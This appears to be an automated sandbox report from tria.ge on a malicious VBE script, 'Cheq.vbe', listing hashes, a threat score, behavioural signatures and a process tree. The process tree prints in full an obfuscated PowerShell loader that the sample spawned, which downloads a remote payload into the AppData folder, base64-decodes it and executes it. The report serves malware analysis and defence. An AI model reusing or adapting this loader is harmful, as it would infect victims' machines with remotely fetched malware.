Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
147s -
max time network
149s -
platform
windows7_x64 -
resource
win7-20240220-en -
resource tags
arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system -
submitted
21/05/2024, 03:43
Static task
static1
Behavioral task
behavioral1
Sample
Cheq.vbe
Resource
win7-20240220-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
Cheq.vbe
Resource
win10v2004-20240226-en
6 signatures
150 seconds
General
-
Target
Cheq.vbe
-
Size
720KB
-
MD5
08916398d60045637fa6b2f5d5ef89e6
-
SHA1
2f1bd5cc4c5649fb7e034e48861de256b76ce06f
-
SHA256
407cde8101a3f04d2e4c9c632c771a3f3fc5db48c14c0ad85f76e8ae50fea6c1
-
SHA512
a036b6b80070a7f7928b7ed521572ff7b8401236c604c53aafe91d9862215e1df897ba84a380eb78da996d760b4a29f5642c60b68d0df45e418b8c726d6b8c58
-
SSDEEP
6144:TsyS5Hz0L9jTGquGSqCG2NPnbY/0M7xxMldTSsp3vraSEPW/snrOLNC51gdQl7VB:vCRT+WPxm3pfqiMwc/MVqAd+O
Score
8/10
Malware Config
Signatures
-
Blocklisted process makes network request 50 IoCs
flow pid Process 5 2712 powershell.exe 6 2712 powershell.exe 7 2712 powershell.exe 8 2712 powershell.exe 9 2712 powershell.exe 10 2712 powershell.exe 11 2712 powershell.exe 12 2712 powershell.exe 13 2712 powershell.exe 14 2712 powershell.exe 15 2712 powershell.exe 16 2712 powershell.exe 17 2712 powershell.exe 18 2712 powershell.exe 19 2712 powershell.exe 20 2712 powershell.exe 21 2712 powershell.exe 22 2712 powershell.exe 23 2712 powershell.exe 24 2712 powershell.exe 25 2712 powershell.exe 26 2712 powershell.exe 27 2712 powershell.exe 28 2712 powershell.exe 29 2712 powershell.exe 30 2712 powershell.exe 31 2712 powershell.exe 32 2712 powershell.exe 33 2712 powershell.exe 34 2712 powershell.exe 35 2712 powershell.exe 36 2712 powershell.exe 37 2712 powershell.exe 38 2712 powershell.exe 39 2712 powershell.exe 40 2712 powershell.exe 41 2712 powershell.exe 42 2712 powershell.exe 43 2712 powershell.exe 44 2712 powershell.exe 45 2712 powershell.exe 46 2712 powershell.exe 47 2712 powershell.exe 48 2712 powershell.exe 49 2712 powershell.exe 50 2712 powershell.exe 51 2712 powershell.exe 52 2712 powershell.exe 53 2712 powershell.exe 54 2712 powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2712 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2712 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2360 wrote to memory of 2712 2360 WScript.exe 28 PID 2360 wrote to memory of 2712 2360 WScript.exe 28 PID 2360 wrote to memory of 2712 2360 WScript.exe 28 PID 2712 wrote to memory of 2744 2712 powershell.exe 30 PID 2712 wrote to memory of 2744 2712 powershell.exe 30 PID 2712 wrote to memory of 2744 2712 powershell.exe 30
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Cheq.vbe"1⤵
- Suspicious use of WriteProcessMemory
PID:2360 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Printermanualens = 1;$Kkkensalt='Sub';$Kkkensalt+='strin';$Kkkensalt+='g';Function Pastoraling($Delegationsrejsernes){$Buur=$Delegationsrejsernes.Length-$Printermanualens;For($Bilaciniate=2;$Bilaciniate -lt $Buur;$Bilaciniate+=3){$Mrkepen+=$Delegationsrejsernes.$Kkkensalt.Invoke( $Bilaciniate, $Printermanualens);}$Mrkepen;}function Coloplication($Acetoacetic){& ($Traditionalizes) ($Acetoacetic);}$Grdede=Pastoraling ' vM pofezPoi ulK.lKoa /Fo5,m.Pl0Ko ,(InWCoi GnP.dBroPrw.as.m DeN FTFi D,1 r0Pr.Un0.e; p MeWMeifjnba6Ac4Re;E Lrx.o6br4Tu;.u D.rOvv V:Bi1Co2Rb1N..S 0 L) . UnG,ne dc kkoroC./Un2F 0 U1,y0Un0Ca1 S0C 1 v MnFgei.drPreUtf ,oA,xas/el1 N2B.1 K.,t0sp ';$Soundstripe=Pastoraling ' uUKnsBaerorTy-HiA pgAde,enPrtK, ';$Supercharging=Pastoraling 'InhIst FtEpp s R:.u/am/.oaFulVaiStaMamCr. .iR rS,/ SP ,nureSps Ht .e,bs g.GalimzD,hCh ';$Thyiad81=Pastoraling ',u>De ';$Traditionalizes=Pastoraling 'PhiSke ex i ';$Tilkastningerne='Skrivearealers';$Brugerbehovet = Pastoraling '.fe Cc Lh .o P to%plaTep FpSid fa ,tZ,a.i% t\DeUTrnS.cUno.sm,wp.aiPrlAmeRad S.ApSUraIml.o Ko&B,&A Foe,ocsehDio u K,tId ';Coloplication (Pastoraling ' $Dag Ll.uoIbbFla ,lNy:,zR yeChwUdaMosTeh OeStdTe= f(Sec,omTodMi C./,ucG. S$KoBKurKlu .g.heAurBrbF,e ,hReosvvUneC,tEk)zy ');Coloplication (Pastoraling ' F$B.gSal.loCobSua cl ,:ApU AdsplSlyTadOrsDok CoAln ,sBao GnGaaAin ,twhe rC,sPo1Lo8De9fe=Se$ S eu.mphueR.rInchjh Fa DrB g miDen Ag J.A s.dpFolBoiVitS (A.$,aTPahKlyliiTra ldse8Be1 M) U ');$Supercharging=$Udlydskonsonanters189[0];$Apophlegm= (Pastoraling ' A$,agUnl osobInaL lEv:,oPArr.ieTjsKotc.iVigSue,ifTry ,l .dYmt.veF.2 ,0,e8Re=AnN,oe Sw,a-S,OFobRajRee.lc ,tDy BiSTry sFrtLeeJ,mch.UnNS eLitig.NoW eB,bSuC TlPhiphe ,n Gt');$Apophlegm+=$Rewashed[1];Coloplication ($Apophlegm);Coloplication (Pastoraling '.r$R,PTrrdieflsUntRdiVggTie f Dy AlPidTctBreD 2Pi0Un8 U.B HM.eMoa kdIne FrB s P[T $stSI.oSpuFynModbisSltSyr SiGapCyeSt] ,=La$FuGStr ,dI.e BdAfe.a ');$Forelbigt=Pastoraling 'Pe$ IP,lrree CsPrtUniIngObeOlfI yScl.hdF,tPae,r2 .0 G8gr.boD UoRiwHanTrlPro ,a ,d.rF LiShlKteMa( ,$HlSBauDipSmeFor ocArhUnaHorC,g.nielnTag N,O,$LuT,ei .lStlkraSkglse C)Ko ';$Tillage=$Rewashed[0];Coloplication (Pastoraling 'Pa$P,gKnlJaoK.bDaaAflPr:ByWunaFirChpSoaS.tSthV,s b=Mo(F.TPre KsP,tTe-,nP Ha t ,hRe .a$ GTFei SlPrlMyaBegH.ePh)Fi ');while (!$Warpaths) {Coloplication (Pastoraling 'Tr$regL,lS o .bLaaUnlRa:A LM aDar.fdBreMyrNyeGylThl,eiS.t heC =Kl$BotFkrEcuIleTu ') ;Coloplication $Forelbigt;Coloplication (Pastoraling 'S STot vaSurSetT,-WaSHolGue KeH.pSp De4Ge ');Coloplication (Pastoraling ' .$AbgUnlQuoa.b GaFllRe:maWOpa vrPipO.aBut .hAnsMa= r(,eT ,eHysHyt ,-tuPv.a htCyhba p$MeTMoiDil.flAla og Ce n) . ') ;Coloplication (Pastoraling 'La$ThgMylSkoR,bInaBylC :u UAfnEuwHehFui Sp otKy=Fo$R gD,lTro CbViaMal a:MaM.oeNydD i EnFrd DeSehAeaTov .e HrSteManT +pt+ u%,i$ CUO.d ,lDky Ad s tkSpoAunA,sJeo,tnDea.nn tttheO,rRosTe1He8sk9A .F,c loAbu Ln rt,o ') ;$Supercharging=$Udlydskonsonanters189[$Unwhipt];}$Umbilical=321149;$Fjerkrslagteris=27241;Coloplication (Pastoraling ' $L.g GlL oBab Ea.ulTy: PVel auFotKio Bl,raSttNor fyRh L=,g StG EeK.tKe-BrC aoFinf,tt,eSenSat a Ku$S TCai Fli,l oa MgO eTi ');Coloplication (Pastoraling 'no$Beg HlG.ovabSaaAelDe:KoDDeeOrt iaD,iH.l,rpLarKaoRij,ueI,k.atAseDar,ieUnn ndKleUts t Dy= D Fl[BuSpuy,osovtU.e Ampi.BoC.aoT.n .vRee.nrDate,]An: C:UnFkarCaokamN.B a s ,ePe6Pu4 USNot nrB iInnReg r(Op$CrPVil.fuIntTuoFrl,la t crKay,y)Gr ');Coloplication (Pastoraling ' A$Iog,alFoo SbKbaNol,n: FwNoi DnUdgTioHvvEkeH,rInsb M,= S j[ SSToyChs .t BeDimCa.S,T.lehex.ztRh.LaE nPucMioB,dUniTenhugRu]vg:Da:OvA .SDiC FINaI e. yG.ke StCaSu t.er tiR n,sgVi(g.$A,D DeDktgua FiTel,ip,pr so sj,ie SkSatT.e.er PeUnnPhdC,e Ss n)Sa ');Coloplication (Pastoraling ' P$U,g PlP oG.bMaagelph:.hUSnnPrlAeuDrsKrtS fDiuMelAalStya =Al$ Hw .i .nTig ooFivR,e .r rsMa.SnsG,u Hb eshit.lrRri,anSagPu(U,$,rU ,m.nb iiBalUdi Wc eaMul i, $ nF.jj TeCyr SkB.rH,s klPaaHogBrtKoeSarSti FsCo)Wa ');Coloplication $Unlustfully;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2712 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Uncompiled.Sal && echo t"3⤵PID:2744
-
-